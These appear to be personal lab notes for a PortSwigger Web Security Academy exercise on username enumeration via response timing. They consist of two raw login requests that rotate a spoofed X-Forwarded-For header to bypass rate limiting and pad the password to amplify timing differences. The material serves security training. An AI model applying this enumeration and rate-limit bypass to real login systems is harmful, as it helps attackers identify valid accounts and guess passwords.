Lab: Username enumeration via response timing

https://portswigger.net/web-security/learning-paths/authentication-vulnerabilities/password-based-vulnerabilities/authentication/password-based/lab-username-enumeration-via-response-timing

Using Pitchfork attack on X-Forwarded-For to bypass limits

POST /login HTTP/2
Host: 0ae9009e0451d63c815d4dcb00030056.web-security-academy.net
Cookie: session=blsiEHBdUUySxcysSqOeoRAvNuYqri7Z
Content-Length: 31
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Origin: https://0ae9009e0451d63c815d4dcb00030056.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae9009e0451d63c815d4dcb00030056.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
X-Forwarded-For: 192.168.0.$1$

username=$wienekg$&password=peterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeter

POST /login HTTP/2
Host: 0ae9009e0451d63c815d4dcb00030056.web-security-academy.net
Cookie: session=blsiEHBdUUySxcysSqOeoRAvNuYqri7Z
Content-Length: 205
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Origin: https://0ae9009e0451d63c815d4dcb00030056.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae9009e0451d63c815d4dcb00030056.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
X-Forwarded-For: 192.168.0.$11$
Connection: keep-alive

username=$oracle$&password=peterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeterpeter